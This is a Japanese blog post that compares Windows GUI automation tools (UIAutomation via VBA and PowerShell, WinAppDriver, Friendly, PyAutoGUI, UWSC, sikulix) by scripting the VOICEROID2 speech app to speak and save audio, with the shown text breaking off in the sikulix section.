VBA + UIAutomationでアカネチャンカワイイヤッター

Officeさえ入っていればWindowsの自動操作が行えます。
RPAツールなんていらんかったんや

画面上の要素を正確に捕捉できるため、違うPCでも動かしやすいという利点があります。
操作対象のオブジェクトの調査はInspectを用いて行うとよいでしょう。

inspect.png

VBAによる実装

https://github.com/mima3/rpa_akanechan/tree/master/vba(UIAutomationCom)

参照設定
image.png

Module1
Option Explicit


Public Sub Kawaii()
    Dim vr As New VoiceRoid
    Dim mainForm As IUIAutomationElement
    Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2")
    If (mainForm Is Nothing) Then
        Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2*")
        If (mainForm Is Nothing) Then
            MsgBox "VOICEROIDE2が起動していない"
            Exit Sub
        End If
    End If

    ' 茜ちゃんしゃべる
    Call vr.SetText(mainForm, 0, "アカネチャンカワイイヤッタ")
    Call vr.pushButton(mainForm, 0)

    ' しゃべり終わるまで待機
    Dim sts As String
    Do While sts <> "テキストの読み上げは完了しました。"
        sts = vr.GetStatusBarItemText(mainForm, 0)
        Call vr.SleepMilli(500)
    Loop

    ' 音声保存
    Call vr.pushButton(mainForm, 4)

    ' 5秒以内に音声保存画面が表示されたら保存ボタンを押す
    Dim saveWvForm As IUIAutomationElement
    Set saveWvForm = vr.WaitMainWindowByTitle(mainForm, "音声保存", 5)
    Call vr.pushButton(saveWvForm, 0)

    ' 名前を付けて保存に日付のファイル名を作る
    Dim saveFileForm As IUIAutomationElement
    Set saveFileForm = vr.WaitMainWindowByTitle(saveWvForm, "名前を付けて保存", 5)
    Call vr.SetTextById(saveFileForm, "1001", Format(Now(), "yyyymmddhhnnss.wav"))
    SendKeys "{ENTER}"

    ' 情報ポップアップのOKを押下
    Dim infoForm As IUIAutomationElement
    Set infoForm = vr.WaitMainWindowByTitle(saveWvForm, "情報", 60)
    Call vr.pushButton(infoForm, 0)
End Sub
VoiceRoid.cls
Option Explicit
Private uia As UIAutomationClient.CUIAutomation
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Class_Initialize()
    Set uia = New UIAutomationClient.CUIAutomation
End Sub
Private Sub Class_Terminate()
    Set uia = Nothing
End Sub
Public Sub SleepMilli(ByVal millisec As Long)
    Call Sleep(millisec)
End Sub
' ルートのディスクトップ要素を取得
Public Function GetRoot() As IUIAutomationElement
    Dim ret As IUIAutomationElement
    Set ret = uia.GetRootElement
    Set GetRoot = ret
End Function

' 指定の子ウィンドウをタイトルから取得する
Public Function GetMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String) As IUIAutomationElement
    Dim cnd As IUIAutomationCondition
    Dim ret As IUIAutomationElement
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_NamePropertyId, name)

    Set ret = form.FindFirst(TreeScope_Element Or TreeScope_Children, cnd)

    Set GetMainWindowByTitle = ret
End Function

' 指定の子ウィンドウをタイトルから取得できまで待機
Public Function WaitMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String, ByVal timeOutSec As Double) As IUIAutomationElement
    Dim start As Variant
    start = timer()
    Dim ret As IUIAutomationElement

    Set ret = GetMainWindowByTitle(form, name)
    Do While ret Is Nothing
        If timer() - start > timeOutSec Then
            Exit Function
        End If
        Set ret = GetMainWindowByTitle(form, name)
        Call SleepMilli(100)
    Loop
    Set WaitMainWindowByTitle = ret
End Function

' ボタンを指定Indexを押下する
Public Sub pushButton(ByRef form As IUIAutomationElement, ByVal ix As Long)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "Button")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)

    Dim ptn As IUIAutomationInvokePattern
    Set ptn = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_InvokePatternId)
    Call ptn.Invoke

End Sub


' 指定のClassNameがTextBoxに値を設定する
Public Sub SetText(ByRef form As IUIAutomationElement, ByVal ix As Long, ByVal text As String)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "TextBox")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)


    Dim editValue As IUIAutomationValuePattern
    Set editValue = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId)
    Call editValue.SetValue(text)

End Sub

' 指定のAutomationIdでTextBoxに値を設定する
Public Sub SetTextById(ByRef form As IUIAutomationElement, ByVal id As String, ByVal text As String)
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_AutomationIdPropertyId, id)

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)


    Dim editValue As IUIAutomationValuePattern
    Set editValue = list.GetElement(0).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId)
    Call editValue.SetValue(text)

End Sub

' 指定のClassNameがTextBoxの値を取得する
Public Function GetStatusBarItemText(ByRef form As IUIAutomationElement, ByVal ix As Long) As String
    Dim cnd As IUIAutomationCondition
    Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "StatusBarItem")

    Dim list As IUIAutomationElementArray
    Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd)

    GetStatusBarItemText = list.GetElement(ix).CurrentName

End Function

備考

・画像認識はUIAutomationの範囲からはずれるために実施していません。

・タブの子要素が取得できません。茜ちゃんから葵ちゃんに切り替えたり、感情を変更することができないことになります。

・UIAutomationで要素を検索して値の取得や操作をしているだけです。
 ただし、ディスクトップを検索する場合、直下の子供だけを検索するようにしないと時間がかかるので注意してください。

・名前を付けて保存時にファイル名入力後にENTERを押下しています。これはロストフォーカス時に入力前の文字にもどってしまう事象の対策です。他のツールにおいても同様の実装をおこなっています。

PowerShell+UIAutomationでアカネチャンカワイイヤッター

PowerShellさえ入っているWin7以降ならOfficeすら不要で自動操作ができます。
また、VBAに対するアドバンテージとしては、.NETの機能が簡単に利用できるようになったことです。
管理者権限がなければps1ファイルが実行できないという勘違いをしていましたが、実際はそんなことはないので、学習コストさえ払えるならPowerShellに移行したほうがよいでしょう。

PowerShellでの実装

https://github.com/mima3/rpa_akanechan/tree/master/powershell(UIAutomation.NET)

kawaii.ps1
Add-Type -AssemblyName UIAutomationClient
Add-Type -AssemblyName UIAutomationTypes
Add-type -AssemblyName System.Windows.Forms

$source = @"
using System;
using System.Windows.Automation;
public class AutomationHelper
{
    public static AutomationElement RootElement
    {
        get
        {
            return AutomationElement.RootElement;
        }
    }
    public static AutomationElement GetMainWindowByTitle(string title) {
        PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title);
        return RootElement.FindFirst(TreeScope.Children, cond);
    }

    public static AutomationElement ChildWindowByTitle(AutomationElement parent , string title) {
        try {
            PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title);
            return parent.FindFirst(TreeScope.Children, cond);
        } catch {
            return null;
        }
    }
    public static AutomationElement WaitChildWindowByTitle(AutomationElement parent, string title, int timeout = 10) {
        DateTime start = DateTime.Now;
        while (true) {
            AutomationElement ret = ChildWindowByTitle(parent, title);
            if (ret != null) {
                return ret;
            }
            TimeSpan ts = DateTime.Now - start;
            if (ts.TotalSeconds > timeout) {
               return null;
            }
            System.Threading.Thread.Sleep(100);
        }
    }
}
"@
Add-Type -TypeDefinition $source -ReferencedAssemblies("UIAutomationClient", "UIAutomationTypes")

# 5.0以降ならusingで記載した方が楽。
$autoElem = [System.Windows.Automation.AutomationElement]

# ウィンドウ以下で指定の条件に当てはまるコントロールを全て列挙
function findAllElements($form, $condProp, $condValue) {
    $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue)
    return $form.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
}

# ウィンドウ以下で指定の条件に当てはまるコントロールを1つ取得
function findFirstElement($form, $condProp, $condValue) {
    $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue)
    return $form.FindFirst([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
}

# 要素をValuePatternに変換
function convertValuePattern($elem) {
    return $elem.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern) -as [System.Windows.Automation.ValuePattern]
}

# 指定の要素をボタンとみなして押下する
function pushButton($form, $index) {
    $buttonElemes = findAllElements $form $autoElem::ClassNameProperty "Button"
    $invElm = $buttonElemes[$index].GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern]
    $invElm.Invoke()
}

# 指定のAutomationIDのボタンを押下
function pushButtonById($form, $id) {
    $buttonElem = findFirstElement $form $autoElem::AutomationIdProperty $id
    $invElm = $buttonElem.GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern]
    $invElm.Invoke()
}

# 指定の内容をしゃべらせる
function speakText($mainForm, $message) {
    try {
        # テキストの検索
        $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox"
        $messageValuePtn = convertValuePattern $textboxElems[0]
        $messageValuePtn.SetValue($message);

        # 音声保存ボタン押下
        pushButton $mainForm 0

        # 読み上げ中は待機
        $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition([System.Windows.Automation.AutomationElement]::NameProperty, "テキストの読み上げは完了しました。")
        do
        {
          Start-Sleep -m 500 
          $elems = $mainForm.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond)
        }
        while ($elems.Count -eq 0)

        return $True
    } catch {
        Write-Error "ファイルの保存に失敗しました"
        $_
        return $False
    }
}

# しゃべる内容を設定後指定のファイルに保存
function saveText($mainForm , $message, $outPath) {
    try {
        # テキストの検索
        $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox"
        $messageValuePtn = convertValuePattern $textboxElems[0]
        $messageValuePtn.SetValue($message);

        # 音声保存ボタン押下
        pushButton $mainForm 4

        #音声保存ウィンドウが表示される可能性
        $saveWvForm = [AutomationHelper]::WaitChildWindowByTitle($mainForm, "音声保存", 2)
        pushButton $saveWvForm 0

        #名前を付けて保存
        $saveFileForm = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "名前を付けて保存", 5)
        if ($saveFileForm -eq $null) {
            return $False;
        }
        $txtFilePathElem = findFirstElement $saveFileForm $autoElem::AutomationIdProperty "1001"
        $txtFilePathValuePtn = convertValuePattern $txtFilePathElem
        $txtFilePathValuePtn.SetValue($outPath);
        [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
        #エンターでないとコンボボックスが効いて、元に戻る。
        #pushButtonById $saveFileForm "1"

        # ここでファイルの上書きがtxtとwav分でる可能性があるが、ファイル名を一意にすることで回避すること

        # 情報ポップアップがでるまで待機
        $infoWin = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "情報", 60)
        if ($infoWin -eq $null) {
            return $False;
        }
        pushButton $infoWin 0
        return $True
    }
    catch {
        Write-Error "ファイルの保存に失敗しました"
        $_
        return $False
    }

}

# メイン処理
$mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2")
if ($mainForm -eq $null) {
    $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2*")
}
if ($mainForm -eq $null) {
    Write-Error "VOICEROID2を起動してください"
    exit 1
}

# しゃべる
$ret = speakText $mainForm 'アカネチャンカワイイヤッタ'
if ($ret -eq $False ) {
    exit
}

# 保存する
$fileName =  Get-Date -Format "yyyyMMddHHmmss.wav"
saveText $mainForm 'アカネチャンカワイイヤッタ' $fileName

備考

・タブにたいする制限はVBAのUIAutomationと同じです。

・PowerShell中にC#のコードを埋め込んでいる理由は「名前を付けて保存」ダイアログを操作するためです。
 下記を参照してください。
 >PowerShellのUIAutomationは複雑怪奇なり

・using等の新しい機能は使わないようにしているのでPowershell2.0あたりでも動くと思います(未検証)

WinAppDriverでアカネチャンカワイイヤッター

Seleniumライクな操作でWindowsアプリを操作するためにマイクロソフトが開発したツールです。Seleniumの操作とほぼ同じなので、学習コストは低くなることが期待できます。

その構成は以下のようになります。

RPA画面構成.png

操作プログラムは操作対象のプログラムを直接操作するのでなくWebAppDriver経由で操作をおこないます。
操作プログラムとWebAppDriverの間は下記のようなJSONデータでやりとりが行われています。

image.png

WebAppDriverはダウンロードページ から入手してください。

WinAppDriverUiRecorderについて

XPathを用いてWindowの要素を操作するのですが、そのXPathの検査にはWinAppDriverUiRecorderを使用します。

RPA画面構成.png

C# Codeのタブを選択すると行った操作の内容の実装例が表示されます。
image.png

ただし、基本的にあてにはならないのでXPathの参考程度にするといいでしょう。
またマルチディスプレイで作業している場合、1つめのディスプレイしか認識しないので注意してください。

WinAppDriverを使用した実装

https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/WinAppDriverSemple

NuGetで取得した資材。
 ・Appium.WebDriver v3.0.0.2

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenQA.Selenium.Appium.Windows;
using OpenQA.Selenium.Remote;
using OpenQA.Selenium;
using System.Globalization;

namespace WinAppDriverSemple
{

    class Program
    {
        static WindowsDriver<WindowsElement> desktopSession;
        private const string WindowsApplicationDriverUrl = "http://127.0.0.1:4723/";

        // 指定の要素が検索できるまで待機する
        public static WindowsElement WaitElementByAbsoluteXPath(WindowsDriver<WindowsElement> root, string xPath, int nTryCount = 15)
        {
            WindowsElement uiTarget = null;

            while (nTryCount-- > 0)
            {
                try
                {
                    uiTarget = root.FindElementByXPath(xPath);
                }
                catch
                {
                }

                if (uiTarget != null)
                {
                    break;
                }
                else
                {
                    System.Threading.Thread.Sleep(500);
                }
            }

            return uiTarget;
        }


        static void Main(string[] args)
        {
            // DesktopからVOCAROID2を検索
            DesiredCapabilities desktopCapabilities = new DesiredCapabilities();
            desktopCapabilities.SetCapability("app", "Root");
            desktopCapabilities.SetCapability("deviceName", "WindowsPC");
            desktopSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), desktopCapabilities);
            String hwnd;
            WindowsElement appElem;
            appElem = desktopSession.FindElementByName("VOICEROID2");
            hwnd = appElem.GetAttribute("NativeWindowHandle");
            if (hwnd.Equals("0"))
            {
                appElem = desktopSession.FindElementByName("VOICEROID2*");
                hwnd = appElem.GetAttribute("NativeWindowHandle");
            }
            DesiredCapabilities appCapabilities = new DesiredCapabilities();
            hwnd = int.Parse(hwnd).ToString("x");
            appCapabilities.SetCapability("appTopLevelWindow", hwnd);
            WindowsDriver<WindowsElement> appSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), appCapabilities);

            // しゃべらせる
            var txtMsg = appSession.FindElementByXPath("//Edit[@AutomationId=\"TextBox\"]");
            txtMsg.Click();
            // 英語キーボードじゃないと記号が旨く送信できない(Seleniumの仕様っぽい)
            txtMsg.SendKeys(Keys.LeftControl + "a");
            txtMsg.SendKeys(Keys.Delete);
            txtMsg.SendKeys("アカネチャンカワイイヤッタ");

            var btnPlay = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"再生\"]");
            btnPlay.Click();

            // 保存開始
            var statusBar = WaitElementByAbsoluteXPath(appSession, "//StatusBar[@ClassName =\"StatusBar\"]/Text[@ClassName=\"StatusBarItem\"][@Name=\"テキストの読み上げは完了しました。\"]/Text[@ClassName=\"TextBlock\"][@Name=\"テキストの読み上げは完了しました。\"]");
            if (statusBar == null)
            {
                Console.Error.WriteLine("読み上げ失敗");
                return;
            }

            var btnSave = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"音声保存\"]");
            btnSave.Click();


            // 音声保存画面でOK押下
            var btnSaveOk = appSession.FindElementByXPath("//Window[@ClassName =\"Window\"][@Name=\"音声保存\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]");
            btnSaveOk.Click();

            // 名前を付けて保存
            var txtFileName = appSession.FindElementByXPath("//Window[@ClassName=\"#32770\"][@Name=\"名前を付けて保存\"]/Pane[@ClassName=\"DUIViewWndClassName\"]/ComboBox[@Name=\"ファイル名:\"][@AutomationId=\"FileNameControlHost\"]/Edit[@ClassName=\"Edit\"][@Name=\"ファイル名:\"]");
            String hankakuKey = Convert.ToString(Convert.ToChar(0xE0 + 244, CultureInfo.InvariantCulture), CultureInfo.InvariantCulture);
            // 英字キーボードだと以下のキーで半角全角切り替えになる
            txtFileName.SendKeys("`"); // 0xFF40

            txtFileName.SendKeys(Keys.LeftControl + "a");
            txtFileName.SendKeys(Keys.Delete);
            //
            txtFileName.SendKeys(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav");
            txtFileName.SendKeys(Keys.Enter);


            //
            var infoOk = WaitElementByAbsoluteXPath(appSession, "//Window[@ClassName=\"#32770\"][@Name=\"情報\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]");
            infoOk.Click();

        }
    }
}

備考

・Windows10でしか動作しません。

・WinAppDriverで公開されているものはテストコードとUIRecorderのみです。WinAppDriver自体のコードは公開されていません。

・UIAutomation同様、タブの子要素が取得できません。

日本語キーボードの場合、記号が正常に表示されません。
 例:editBox.SendKeys("a/b\c"); // →a/b]c
 https://github.com/Microsoft/WinAppDriver/issues/194

・XPathで要素の指定は容易に行えます。しかしながらパフォーマンスがUIAutomationに比べてかなり落ちます。
 今回はすこしでも早くなることを期待して、ディスクトップのルートからでなく、アプリケーションから検索するようにしています。

・名前を付けて保存をする際のファイル名がどうしても全角になってしまい、そこを「`」を送信することでごまかしています。

Friendlyでアカネチャンカワイイヤッター

操作プログラムが使用しているFrendlyが操作対象の茜ちゃんにDLLインジェクションをします。
それにより、そこでプロセス間通信を行い画面の要素の情報を取得しています。

image.png

この仕組みのため、マイクロソフト製のUIAutomationとWinAppDriverでも、やれないことを平然とやってのけます。そこにしびれるあこがれる~!!!
ただし、操作対象のアプリケーションにテスト用のDLLを差し込んだものをテストや運用で使っていいのかという問題がありますので導入時にはよく検討すべきです。一方、単体テストや、再起動可能な画面の自動操作では非常に強力なライブラリです。

日本の会社が作った仕組みなので、公式サイトのドキュメントをみるのが一番いいでしょう。
また、GitHubにコードが公開されています。

Friendlyでの実装例を教えてくれるTestAssistantツール

TestAssistantというツールが提供されており、画面の要素の調査がおこなえます。
要素を選択してコードのサンプルを作成したり、実際作成したサンプルをツール上で実行できたりと、かなり強力なツールになっています。

RPA画面構成.png

同一アプリに対する操作について

同一アプリに複数のプロセスがFriendlyを使用して操作すると以下のエラーを出力してエラーになります。

エラー内容
型 'Codeer.Friendly.FriendlyOperationException' のハンドルされていない例外が Codeer.Friendly.Windows.dll で発生しました

追加情報:アプリケーションとの通信に失敗しました。

対象アプリケーションが通信不能な状態になったか、

シリアライズ不可能な型のデータを転送しようとした可能性があります。

たとえば、TestAssistantで要素を調べならがら、コードを書いている場合によく遭遇します。
この場合は、操作対象のアプリケーションを起動しなおす必要があります。

ウィルスバスターの検知

設定によってはウィルスバスターによって誤検知されるので注意してください。

image.png

Friendlyによる実装

https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/FriendlySample

Nugetで取得したもの
・Codeer.Friendly
・Codeer.Friendly.Windows
・Codeer.Friendly.Windows.Grasp
・Codeer.Friendly.Windows.NativeStandardControls
・Codeer.TestAssistant.GeneratorToolKit
・RM.Friendly.WPFStandardControls

Program.cs
using Codeer.Friendly;
using Codeer.Friendly.Windows;
using Codeer.Friendly.Windows.Grasp;
using RM.Friendly.WPFStandardControls;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Codeer.Friendly.Windows.NativeStandardControls;
using Codeer.Friendly.Dynamic;

namespace AkanechanKawaii
{
    class Program
    {
        static void Main(string[] args)
        {
            // プロセスの取得
            Process[] ps = Process.GetProcessesByName("VoiceroidEditor");
            if (ps.Length == 0)
            {
                Console.Error.WriteLine("VOICEROID2を起動してください");
                return;
            }

            // WindowsAppFriendをプロセスから作成する
            // 接続できない旨のエラーの場合、別のプロセスでテスト対象のプロセスを操作している場合がある。
            // TestAssistant使いながら動作できないようなので、注意。
            var app = new WindowsAppFriend(ps[0]);

            var mainWindow = WindowControl.FromZTop(app);

            // 茜ちゃんしゃべる
            WPFTextBox txtMessage = new WPFTextBox(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 2));
            txtMessage.EmulateChangeText("アカネチャンカワイイヤッタ");

            WPFButtonBase btnPlay = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 0));
            btnPlay.EmulateClick();

            // ステータスバーを監視してしゃべり終わるまでまつ
            String sts;
            do
            {
                System.Threading.Thread.Sleep(500);
                var txtStatusItem = mainWindow.IdentifyFromVisualTreeIndex(0, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0).Dynamic(); ;
                sts = txtStatusItem.Text.ToString();
            } while (!sts.Equals("テキストの読み上げは完了しました。"));

            // 保存ボタン押下
            // ダイアログが表示されると引数なしのEmulateClickだと止まるのでAsyncオブジェクトを渡しておく
            var async = new Async();
            WPFButtonBase btnSave = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 5));
            btnSave.EmulateClick(async);

            // 音声保存ダイアログ操作
            var dlgSaveWav = mainWindow.WaitForNextModal();
            var asyncSaveWin = new Async();
            WPFButtonBase buttonOK = new WPFButtonBase(dlgSaveWav.IdentifyFromLogicalTreeIndex(0, 1, 0));
            buttonOK.EmulateClick(asyncSaveWin);

            // ファイル名指定後の保存
            var asyncSaveFile = new Async();
            var dlgFileSave = dlgSaveWav.WaitForNextModal();
            NativeEdit editFileName = new NativeEdit(dlgFileSave.IdentifyFromZIndex(11, 0, 4, 0, 0));
            editFileName.EmulateChangeText(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav");

            NativeButton btnSaveOk = new NativeButton(dlgFileSave.IdentifyFromDialogId(1));
            btnSaveOk.EmulateClick(asyncSaveFile);

            // 情報ダイアログが表示されるまで待機してOKを押下
            var dlgInfo = WindowControl.WaitForIdentifyFromWindowText(app, "情報");
            NativeButton btn = new NativeButton(dlgInfo.IdentifyFromWindowText("OK"));
            btn.EmulateClick();


            //非同期で実行した保存ボタン押下の処理が完全に終了するのを待つ
            asyncSaveFile.WaitForCompletion();
            asyncSaveWin.WaitForCompletion();
            async.WaitForCompletion();


            // 葵ちゃんに切り替えてしゃべる
            // UIAutomationだと葵ちゃん切り替えが行えない。
            WPFListView ListView = new WPFListView(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 3, 0, 1, 0, 2));
            ListView.EmulateChangeSelectedIndex(1);
            txtMessage.EmulateChangeText("オネエチャンカワイイヤッタ");
            btnPlay.EmulateClick();
            ListView.EmulateChangeSelectedIndex(0);

        }
    }
}

備考

・基本的にIdentifyFromLogicalTreeIdxで取得している要素はTestAssistantで取得しています。

・引数なしのEmulateClickで制御がおわるまでかえってこないボタンについてはAsyncをわたして、最後でWaitForCompletion()を実行して終了を待っています。

・UIAutomationでもWinAppDriverでも取れないタブの中身を取得できるため、葵ちゃんに切り替えてしゃべってもらっています。

PyAutoGUIでアカネチャンカワイイヤッター

Pythonで自動操作を行えます。
いままでのツールやライブラリと違い、PyAutoGuiはMacやUnixでも動作するので複数のOSで同じ操作をする場合に有効になると想定されます。

PyAutoGUIによる実装

https://github.com/mima3/rpa_akanechan/tree/master/PyAutoGui

import time
import pyautogui
import pyperclip
import datetime

# クリップボードを経由する場合
# http://sagantaf.hatenablog.com/entry/2017/10/18/231750
def copipe(string):
    pyperclip.copy(string)
    pyautogui.hotkey('ctrl', 'v')

# 指定の画像が表示されるまで待つ
def waitPicture(f):
    print(f)
    ret = None
    while ret is None:
        ret = pyautogui.locateOnScreen(f, grayscale=False, confidence=.8)
        print (ret)
        if ret is not None:
            return ret
        time.sleep(1)

mainButtons = pyautogui.locateOnScreen('mainbutton.bmp', grayscale=False, confidence=.8)
if mainButtons is None:
    print (u'VOICEROID2の再生ボタンが見つかりません')
    exit()

# テキスト選択
pyautogui.click(mainButtons[0] + 30, mainButtons[1] )

# テキストのクリア
pyautogui.hotkey('ctrl', 'a')
pyautogui.press('del')

# テキストの設定
copipe(u'アカネチャンカワイイヤッタ')

# 再生
pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 )

# 読み上げまで待機
time.sleep(0.5)
waitPicture('status.bmp')

# 音声の保存
pyautogui.click(mainButtons[0] +  mainButtons[2], mainButtons[1] + mainButtons[3] / 2 )

wavSave = waitPicture('wavSave.bmp')
pyautogui.click(wavSave[0] + 5, wavSave[1] + wavSave[3] / 2 )

# ファイルの保存
fileSave = waitPicture('fileSave.bmp')
pyautogui.click(fileSave[0], fileSave[1])
copipe(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav"))
pyautogui.press('enter')

# 情報ダイアログ
info = waitPicture('info.bmp')
pyautogui.click(info[0] + info[2], info[1] + info[3])

# 葵ちゃんしゃべる
time.sleep(0.5)
aoi = pyautogui.locateOnScreen('aoi.bmp', grayscale=False, confidence=.8)
pyautogui.click(aoi[0], aoi[1])

# テキスト設定
pyautogui.click(mainButtons[0] + 30, mainButtons[1] )
pyautogui.hotkey('ctrl', 'a')
pyautogui.press('del')
copipe(u'オネエチャンカワイイヤッタ')
pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 )

# 茜ちゃんに戻す
akane = pyautogui.locateOnScreen('akane.bmp', grayscale=False, confidence=.8)
pyautogui.click(akane[0], akane[1])

解説

・キーボード操作処理で日本語入力に対応していないため、pyperclipを使用してクリップボード経由で文字を設定しています。クリップボードの内容が重大な場合のシナリオについて留意してください。

・locateOnScreenで画像認識をしており、その精度はconfidenceパラメータにより制御しています。画像が認識しずらい場合、この値を下げてみてください。

・あくまで画像認識なので、実行前に対象のコントロールが隠れていたりしないことを確認してから実行してください。他にも解像度の変更やウィンドウサイズや位置の違いで簡単に動かなくなります。

・マルチディスプレイの場合、1つめのディスプレイに操作対象のウィンドウがないと動作しないです。

UWSCでアカネチャンカワイイヤッター

image.png

10年以上前から存在するツールです。
レコード機能が強力でAutoHotKeyやAutoItでは認識しないような画面の要素を検出できます。
また、画像認識などの機能そろっており、おそらく、もっとも使いやすいツールの一つでした。

残念なことに、2018年ころよりサイトが閉鎖されてしまい、今後使用することはできないでしょう。

UWSCによる実装

https://github.com/mima3/rpa_akanechan/tree/master/UWSC

id = GETID("VOICEROID2", "HwndWrapper[VoiceroidEdito", -1)
If id=NULL Then
    id = GETID("VOICEROID2*", "HwndWrapper[VoiceroidEdito", -1)
EndIf

// 再生を行う
SLEEP(1)
SENDSTR(id, "アカネチャンカワイイヤッタ", 1, True, True)

CLKITEM(id, "", CLK_BTN , True, 0)

// ステータスバーをみて再生完了を待つ
sts = ""
While sts <> "テキストの読み上げは完了しました。"
    Sleep(0.1)
    GETITEM(id, ITM_STATUSBAR)
    sts = ALL_ITEM_LIST[6]
Wend

// 保存ボタン
CLKITEM(id, "", CLK_BTN , True, 5)

// 音声保存画面
idSaveWv = GETID("音声保存", "HwndWrapper[VoiceroidEdito", -1)
CLKITEM(idSaveWv, "OK", CLK_BTN , True, 0)

// 名前を付けて保存画面
idFileSave = GETID("名前を付けて保存", "#32770", -1)
SENDSTR(idFileSave, PARAM_STR[0], 0, True, True)
KBD(VK_ENTER)
//CLKITEM(idFileSave, "保存", CLK_ACC)

// OK押下
idInfo = GETID("情報", "#32770", -1)
CLKITEM(idInfo, "OK", CLK_BTN)

// 葵ちゃんに切り替え
SLEEP(1)
ret = CHKIMG("aoi.bmp")
BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)
SLEEP(0.5)
SENDSTR(id, "オネエチャンカワイイヤッタ", 1, True, True)
CLKITEM(id, "", CLK_BTN , True, 0)

SLEEP(0.5)
CHKIMG("akane.bmp")
BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)

備考

・Tabの要素は取得できませんが、画像認識により代替できます。

・レコーダ―では記録されない要素がありますが、スクリプトを書くと要素を取得できます。

・CHKIMGはBMP形式のみが対象です。

・サイト閉鎖の問題もあり今後利用するのは厳しいでしょう。

sikulixでアカネチャンカワイイヤッター

画像認識に特化したツールです。
Ruby,Python,JavaScriptで記載されたスクリプトをJavaで解析して動作します。
基本がJavaなのでMacやLinuxでも動作します。ただし1.1.4よりJavaの64ビットが要求されています。

下記がIDEになります。
image.png

UWSC,pyAutoGuiともに画像認識は行えますが、使用する画像はあらかじめ用意する必要がありました。しかしsikulixでは、必要な際にディスクトップ全体から切り取って使用できます。

また画像のどこをクリックするかという指定もGUI上で行えます。
image.png

操作記録の機能こそないものの、直観的に作成できる貴重なツールです。

sikulixの実装

https://github.com/mima3/rpa_akanechan/tree/master/sikulix/sikulix.sikuli

import datetime
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
#マルチディスプレイの場合は、1のディスプレイじゃないと動かない模様

# 茜ちゃんしゃべる
click(Pattern("1558790034069.png").targetOffset(-174,-16))
type('a', Key.CTRL)
type(Key.DELETE)
paste(u"アカネチャンカワイイヤッタ")

click(Pattern("1558790034069.png").targetOffset(-162,14))
wait(2)

wait("1558790542060.png")
click(Pattern("1558790034069.png").targetOffset(121,16))

# 音声保存画面
click(Pattern("1558790796902.png").targetOffset(-39,2))

# 名前を付けて保存
